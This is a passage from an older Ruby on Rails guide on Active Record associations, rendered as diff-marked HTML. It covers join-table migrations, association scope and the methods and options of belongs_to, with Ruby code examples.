-<div class="para"><p>But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass <tt>true</tt> to the association call:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>customer<span style="color: #990000">.</span>orders                 <span style="font-style: italic"><span style="color: #9A1900"># retrieves orders from the database</span></span>
-customer<span style="color: #990000">.</span>orders<span style="color: #990000">.</span>size            <span style="font-style: italic"><span style="color: #9A1900"># uses the cached copy of orders</span></span>
-customer<span style="color: #990000">.</span>orders<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">).</span>empty?    <span style="font-style: italic"><span style="color: #9A1900"># discards the cached copy of orders and goes back to the database</span></span>
-</tt></pre></div></div>
-<h3 id="_avoiding_name_collisions">3.2. Avoiding Name Collisions</h3>
-<div class="para"><p>You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of <tt>ActiveRecord::Base</tt>. The association method would override the base method and break things. For instance, <tt>attributes</tt> or <tt>connection</tt> are bad names for associations.</p></div>
-<h3 id="_updating_the_schema">3.3. Updating the Schema</h3>
-<div class="para"><p>Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things. First, you need to create foreign keys as appropriate:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>customer
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This declaration needs to be backed up by the proper foreign key declaration on the orders table:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateOrders <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
-    create_table <span style="color: #990000">:</span>orders <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-      t<span style="color: #990000">.</span>order_date   <span style="color: #990000">:</span>datetime
-      t<span style="color: #990000">.</span>order_number <span style="color: #990000">:</span>string
-      t<span style="color: #990000">.</span>customer_id  <span style="color: #990000">:</span>integer
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
-    drop_table <span style="color: #990000">:</span>orders
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If you create an association some time after you build the underlying model, you need to remember to create an <tt>add_column</tt> migration to provide the necessary foreign key.</p></div>
-<div class="para"><p>Second, if you create a <tt>has_and_belongs_to_many</tt> association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the <tt>:join_table</tt> option, Active Record create the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">The precedence between model names is calculated using the <tt>&lt;</tt> operator for <tt>String</tt>. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers".</td>
-</tr></table>
-</div>
-<div class="para"><p>Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Assembly <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_and_belongs_to_many <span style="color: #990000">:</span>parts
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_and_belongs_to_many <span style="color: #990000">:</span>assemblies
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>These need to be backed up by a migration to create the <tt>assemblies_parts</tt> table. This table should be created without a primary key:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateAssemblyPartJoinTable <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
-    create_table <span style="color: #990000">:</span>assemblies_parts<span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-      t<span style="color: #990000">.</span>integer <span style="color: #990000">:</span>assembly_id
-      t<span style="color: #990000">.</span>integer <span style="color: #990000">:</span>part_id
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
-    drop_table <span style="color: #990000">:</span>assemblies_parts
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h3 id="_controlling_association_scope">3.4. Controlling Association Scope</h3>
-<div class="para"><p>By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> MyApplication
-  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Business
-    <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-       has_one <span style="color: #990000">:</span>account
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-    <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-       belongs_to <span style="color: #990000">:</span>supplier
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will work fine, because both the <tt>Supplier</tt> and the <tt>Account</tt> class are defined within the same scope. But this will not work, because <tt>Supplier</tt> and <tt>Account</tt> are defined in different scopes:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> MyApplication
-  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Business
-    <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-       has_one <span style="color: #990000">:</span>account
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Billing
-    <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-       belongs_to <span style="color: #990000">:</span>supplier
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>To associate a model with a model in a different scope, you must specify the complete class name in your association declaration:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> MyApplication
-  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Business
-    <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-       has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"MyApplication::Billing::Account"</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Billing
-    <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-       belongs_to <span style="color: #990000">:</span>supplier<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"MyApplication::Business::Supplier"</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-</div>
-<h2 id="_detailed_association_reference">4. Detailed Association Reference</h2>
-<div class="sectionbody">
-<div class="para"><p>The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.</p></div>
-<h3 id="_the_tt_belongs_to_tt_association_2">4.1. The <tt>belongs_to</tt> Association</h3>
-<div class="para"><p>The <tt>belongs_to</tt> association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use <tt>has_one</tt> instead.</p></div>
-<h4 id="_methods_added_by_tt_belongs_to_tt">4.1.1. Methods Added by <tt>belongs_to</tt></h4>
-<div class="para"><p>When you declare a <tt>belongs_to</tt> assocation, the declaring class automatically gains five methods related to the association:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt><em>association</em>(force_reload = false)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>association</em>=(associate)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>association</em>.nil?</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>build<em>_association</em>(attributes = {})</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>create<em>_association</em>(attributes = {})</tt>
-</p>
-</li>
-</ul></div>
-<div class="para"><p>In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to <tt>belongs_to</tt>. For example, given the declaration:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>customer
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Each instance of the order model will have these methods:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>customer
-customer<span style="color: #990000">=</span>
-customer<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
-build_customer
-create_customer
-</tt></pre></div></div>
-<h5 id="_tt_em_association_em_force_reload_false_tt"><tt><em>association</em>(force_reload = false)</tt></h5>
-<div class="para"><p>The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns <tt>nil</tt>.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@customer</span> <span style="color: #990000">=</span> <span style="color: #009900">@order</span><span style="color: #990000">.</span>customer
-</tt></pre></div></div>
-<div class="para"><p>If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass <tt>true</tt> as the <tt>force_reload</tt> argument.</p></div>
-<h5 id="_tt_em_association_em_associate_tt"><tt><em>association</em>=(associate)</tt></h5>
-<div class="para"><p>The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@order</span><span style="color: #990000">.</span>customer <span style="color: #990000">=</span> <span style="color: #009900">@customer</span>
-</tt></pre></div></div>
-<h5 id="_tt_em_association_em_nil_tt"><tt><em>association</em>.nil?</tt></h5>
-<div class="para"><p>The <tt><em>association</em>.nil?</tt> method returns <tt>true</tt> if there is no associated object.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@order</span><span style="color: #990000">.</span>customer<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
-  <span style="color: #009900">@msg</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"No customer found for this order"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h5 id="_tt_build_em_association_em_attributes_tt"><tt>build<em>_association</em>(attributes = {})</tt></h5>
-<div class="para"><p>The <tt>build<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@customer</span> <span style="color: #990000">=</span> <span style="color: #009900">@order</span><span style="color: #990000">.</span>build_customer<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>customer_number <span style="color: #990000">=&gt;</span> <span style="color: #993399">123</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>customer_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"John Doe"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<h5 id="_tt_create_em_association_em_attributes_tt"><tt>create<em>_association</em>(attributes = {})</tt></h5>
-<div class="para"><p>The <tt>create<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@customer</span> <span style="color: #990000">=</span> <span style="color: #009900">@order</span><span style="color: #990000">.</span>create_customer<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>customer_number <span style="color: #990000">=&gt;</span> <span style="color: #993399">123</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>customer_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"John Doe"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<h4 id="_options_for_tt_belongs_to_tt">4.1.2. Options for <tt>belongs_to</tt></h4>
-<div class="para"><p>In many situations, you can use the default behavior of <tt>belongs_to</tt> without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a <tt>belongs_to</tt> association. For example, an association with several options might look like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>counter_cache <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"active = 1"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>belongs_to</tt> association supports these options:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>:class_name</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:conditions</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:counter_cache</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:dependent</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:foreign_key</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:include</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:polymorphic</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:readonly</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:select</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:validate</tt>
-</p>
-</li>
-</ul></div>
-<h5 id="_tt_class_name_tt"><tt>:class_name</tt></h5>
-<div class="para"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is <tt>Patron</tt>, you'd set things up this way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Patron"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h5 id="_tt_conditions_tt"><tt>:conditions</tt></h5>
-<div class="para"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"active = 1"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h5 id="_tt_counter_cache_tt"><tt>:counter_cache</tt></h5>
-<div class="para"><p>The <tt>:counter_cache</tt> option can be used to make finding the number of belonging objects more efficient. Consider these models:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>customer
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>With these declarations, asking for the value of <tt>@customer.orders.size</tt> requires making a call to the database to perform a <tt>COUNT(*)</tt> query. To avoid this call, you can add a counter cache to the <em>belonging</em> model:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>counter_cache <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>With this declaration, Rails will keep the cache value up to date, and then return that value in response to the <tt>.size</tt> method.</p></div>
-<div class="para"><p>Although the <tt>:counter_cache</tt> option is specified on the model that includes the <tt>belongs_to</tt> declaration, the actual column must be added to the <em>associated</em> model. In the case above, you would need to add a column named <tt>orders_count</tt> to the <tt>Customer</tt> model. You can override the default column name if you need to:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>counter_cache <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>count_of_orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Counter cache columns are added to the containing model's list of read-only attributes through <tt>attr_readonly</tt>.</p></div>
-<h5 id="_tt_dependent_tt"><tt>:dependent</tt></h5>
-<div class="para"><p>If you set the <tt>:dependent</tt> option to <tt>:destroy</tt>, then deleting this object will call the destroy method on the associated object to delete that object. If you set the <tt>:dependent</tt> option to <tt>:delete</tt>, then deleting this object will delete the associated object <em>without</em> calling its <tt>destroy</tt> method.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">You should not specify this option on a <tt>belongs_to</tt> association that is connected with a <tt>has_many</tt> association on the other class. Doing so can lead to orphaned records in your database.</td>
-</tr></table>
-</div>
-<h5 id="_tt_foreign_key_tt"><tt>:foreign_key</tt></h5>
-<div class="para"><p>By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Patron"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"patron_id"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.</td>
-</tr></table>
-</div>
-<h5 id="_tt_include_tt"><tt>:include</tt></h5>
-<div class="para"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LineItem <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>order
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>customer
-  has_many <span style="color: #990000">:</span>line_items
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If you frequently retrieve customers directly from line items (<tt>@line_item.order.customer</tt>), then you can make your code somewhat more efficient by including customers in the association from line items to orders:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LineItem <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>order<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>customer
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>customer
-  has_many <span style="color: #990000">:</span>line_items
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">There's no need to use <tt>:include</tt> for immediate associations - that is, if you have <tt>Order belongs_to :customer</tt>, then the customer is eager-loaded automatically when it's needed.</td>
-</tr></table>
-</div>
-<h5 id="_tt_polymorphic_tt"><tt>:polymorphic</tt></h5>
-<div class="para"><p>Passing <tt>true</tt> to the <tt>:polymorphic</tt> option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide.</p></div>
-<h5 id="_tt_readonly_tt"><tt>:readonly</tt></h5>
-<div class="para"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated object will be read-only when retrieved via the association.</p></div>
-<h5 id="_tt_select_tt"><tt>:select</tt></h5>
-<div class="para"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
